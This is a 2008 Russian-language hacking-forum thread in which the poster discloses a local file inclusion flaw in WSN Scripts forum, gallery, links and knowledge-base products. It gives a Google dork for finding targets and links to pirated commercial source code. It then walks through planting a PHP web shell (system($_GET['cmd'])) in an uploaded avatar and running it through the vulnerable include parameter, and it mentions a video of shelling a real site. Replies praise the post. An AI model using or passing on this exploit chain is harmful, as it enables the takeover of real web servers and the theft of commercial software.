Критическая уязвимость в продуктах Wsn Scripts

Discussion in 'Уязвимости' started by otmorozok428, 6 Aug 2008.

  1. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    Сегодня я расскажу о найденной мною уязвимости в семействе продуктов WSN Scripts. Данная уязвимость позволяет выполнить произвольный PHP-код на сервере, загруженный через аватару.

    Сайт производителя: http://www.webmastersite.net

    Уязвимые продукты: Wsn Forum <= 4.1.43, Wsn Knowledge Base <= 4.1.36, Wsn Links <= 4.1.44, Wsn Gallery <= 4.1.30

    Поисковый запрос Google: inurl:memberlist.php?action=profile

    Поскольку данный продукт является коммерческим и недоступен для свободного скачивания - исходники льём отсюда:

    Wsn Forum 4.1.43 (1,86 MB)

    http://depositfiles.com/files/7005973

    Wsn Knowledge Base 4.1.36 (1,63 MB)

    http://depositfiles.com/files/7006024

    Wsn Links 4.1.44 (1,67 MB)

    http://depositfiles.com/files/7006073

    Wsn Gallery 4.1.30 (1,68 MB)

    http://depositfiles.com/files/7006145

    Уязвимый код в файле start.php
    PHP:
    if ($custom == 'yes'// custom templates
    // access with index.php?custom=yes&TID=name&ext=ext
     
    if ($ext == ''$ext 'tpl';
     
    $TID str_replace('-''/'$TID);
     
    $thefile $TID .'.'$ext
     if (!
    file_exists($settings->filepathto($templatesdir).  $thefile)) $thefile 'custom/' $thefile
    инклудится в файл index.php при помощи инструкции
    PHP:
    require 'start.php'// header stuff
    Таким образом, имеем локальный инклуд:
    PHP:
    index.php?custom=yes&TID=[Filename]&ext=[File Extension]
    Теперь, перейдём к практике.

    Заливка шелла через аватару

    1. Сначала создадим аватару с внедрённым в неё PHP-кодом. Для этой цели подойдёт обычный Far. Открываем файл аватары в режиме редактирования (клавиша F4), в конец файла дописываем строчку

    PHP:
    <? system($_GET['cmd']); ?>
    , сохраняем файл (клавиша F2). Аватарка с шеллом - готова.

    2. Регистрируемся на сайте.

    3. Идём в редактирование профиля (Options / Edit Profile).

    4. Ищем опцию Change Avatar, нажимаем кнопку Обзор, выбираем аватар с внедрённым в него PHP-кодом и жмём кнопку Upload.

    5. Узнаём имя загруженной аватары на сайте (для этого нужно навести курсор на картинку, нажать правую клавишу мышки и выбрать пункт "Копировать адрес рисунка". Куда-нибудь вставляем этот адрес и смотрим значение параметра name. Это будет имя аватары на сервере).

    6. Подставляем имя аватары на сервере в строку
    Юзаем шелл.

    Для наглядности я отснял небольшое ВИДЕО, где показана заливка шелла на примере одного раскрученного ресурса. Размер файла - 8,57 MB.
     
    #1 otmorozok428, 6 Aug 2008
    Last edited: 6 Aug 2008
    7 people like this.
  2. Carnivore.Sys

    Carnivore.Sys Elder - Старейшина

    Joined:
    12 Jul 2008
    Messages:
    50
    Likes Received:
    140
    Reputations:
    -5
    Молодец + однозначно,еще и видео прицепил ;)
     
    #2 Carnivore.Sys, 6 Aug 2008
    Last edited: 6 Aug 2008
  3. Zircool

    Zircool Elder - Старейшина

    Joined:
    1 Mar 2006
    Messages:
    162
    Likes Received:
    37
    Reputations:
    5
    Может кто-нибудь перезалить видео на rapidshare
     
  4. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
    1 person likes this.